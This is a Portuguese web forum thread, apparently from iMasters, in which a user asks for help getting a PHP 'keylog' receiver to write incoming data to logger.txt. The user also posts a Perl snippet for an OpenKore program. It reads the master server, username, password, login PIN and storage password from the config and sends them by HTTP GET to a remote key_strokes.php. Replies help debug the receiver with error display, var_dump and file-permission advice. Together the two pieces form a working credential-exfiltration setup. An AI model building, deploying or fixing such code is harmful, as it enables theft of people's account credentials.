Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

OpenKore

script PHP

Recommended Posts

Olá.

A algum tempo eu utilizava este script

 <?php
	$recived_keys = $_GET["keylog"];
	
	$file = fopen('logger.txt', 'a');
	
	fwrite($file, $recived_keys . "\n\n");

  ?>

Para capturar algumas linhas de um arquivo e salvar em um host. Eu tive de apagar todos os arquivos desse host, e agora estou tentando coloca-los novamente, só que agora o PHP não esta recebendo as informações e gravando no outro arquivo .txt. A pergunta é: Eu tenho de mudar as permissões do PHP no host para ele gravar as informações no outro arquivo de txt? Pois o scritp e o host são os mesmos, o problema e que não está gravando as informações recebidas.

Se a questão for as permissões, poderia me informar quais colocar?

 

Alguém pode dar uma luz?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Depende cara, qual erro aparece ?

Confira no log do servidor, se não aparecer nada no browser.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Depende cara, qual erro aparece ?

Confira no log do servidor, se não aparecer nada no browser.

 

Não aparece erro nenhum. Eu uso esse script:

use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(5);
$ua->env_proxy;
my $master = $config{'master'};
$master =~ s/#/:/;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $loginPin = $config{'loginPinCode'};
$loginPin =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra");

Para enviar as informações para o host. No caso o PHP iria apenas escrever as informações no arquivo de texto logger.txt que esta no host.

 

Explicando melhor seria assim, fica o script php e o arquivo de txt no host. Ao executar o programa que eu estou rodando no PC o script acima deveria enviar as informações que eu especifiquei para o PHP e em sequencia o PHP iria escrever no arquivo de texto as informações recebidas.

Bom essa foi a melhor forma que eu pude explicar, desculpe se estiver um pouco confusa...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Pessoal, alguém para dar uma luz????

Bom já tentei algumas permissões para o script PHP mas ele não consegue transferir as informações recebidas para o arquivo de texto.

Segue algumas das permissões que eu coloquei;

 

bZpnepv.jpg

Compartilhar este post


Link para o post
Compartilhar em outros sites

Antes de tudo, habilite todas as exibições de erro, como mostrado aqui: http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/

 

Dê um var_dump() em $recived_keys. Veja se está pegando o valor da URL

 

Também dê um var_dump() em $file, para ver se fopen() retornou um ponteiro para o arquivo

Compartilhar este post


Link para o post
Compartilhar em outros sites

Antes de tudo, habilite todas as exibições de erro, como mostrado aqui: http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/

 

Dê um var_dump() em $recived_keys. Veja se está pegando o valor da URL

 

Também dê um var_dump() em $file, para ver se fopen() retornou um ponteiro para o arquivo

 

Vou tentar. Mas lembrando que utilizo este script a algum tempo e nunca tive problemas. Não sei o que pode está acontecendo.

Obg pela ajuda.

 

@EDIT

 

Ficaria assim?

  <?php
	$recived_keys = $_GET["keylog"];
	
	$file = fopen('logger.txt', 'a');
	
	fwrite($file, $recived_keys . "\n\n");
	
	var_dump($recived_keys);

	var_dump($file);
  ?>	

Pois testei assim e não deu certo '-'

Compartilhar este post


Link para o post
Compartilhar em outros sites

Complete com o trecho para habilitar mensagens de erro, ficando assim:

 

 

<?php
ini_set( 'display_errors', true );
error_reporting( E_ALL );

$recived_keys = $_GET["keylog"];

$file = fopen('logger.txt', 'a');

fwrite($file, $recived_keys . "\n\n");

var_dump($recived_keys);
var_dump($file);
  ?>

 

 

 

Pois testei assim e não deu certo '-'

O que quer dizer com "não deu certo"? Explique o que acontece.

Compartilhar este post


Link para o post
Compartilhar em outros sites

O que quer dizer com "não deu certo"? Explique o que acontece.

 

O que acontece e o seguinte.

O script:

use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(5);
$ua->env_proxy;
my $master = $config{'master'};
$master =~ s/#/:/;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $loginPin = $config{'loginPinCode'};
$loginPin =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra");

Fica em um arquivo de um programa no meu PC, ao eu executar este programa, ele envia as informações que está definidas para serem enviadas ao host. O script em PHP é apenas para interpretar as informações recebidas e grava-las em um arquivo de texto que está hospedado no mesmo host que o PHP. Não tem nada a ser executado a não ser o programa que está com o primeiro script. O que não deu certo foi de eu executar o programa e o script não gravar estas informações.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Isso eu entendi.

Porém você só disse que "não deu certo". Apareceu mensagem de erro?

Testou o último script que postei? Qual foi o resultado?

 

Acabei de testar o script que você postou e deu esse erro.

4725Pxf.jpg

O que "não deu certo" foi o que eu disse acima. De o php não registrar as informações recebidas no arquivo de texto que está no host.

 

Será que tenho de mexer nas permissões do arquivo de texto?

Compartilhar este post


Link para o post
Compartilhar em outros sites

Há dois problemas:

 

1. keylog não está presente na URL. Veja aqui por que ela ocorre e como corrigi-la

 

2. O arquivo está sem permissão de escrita. Deixe em 644. Se persistir, tente com 664. Veja mais sobre chmod e permissões aqui

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.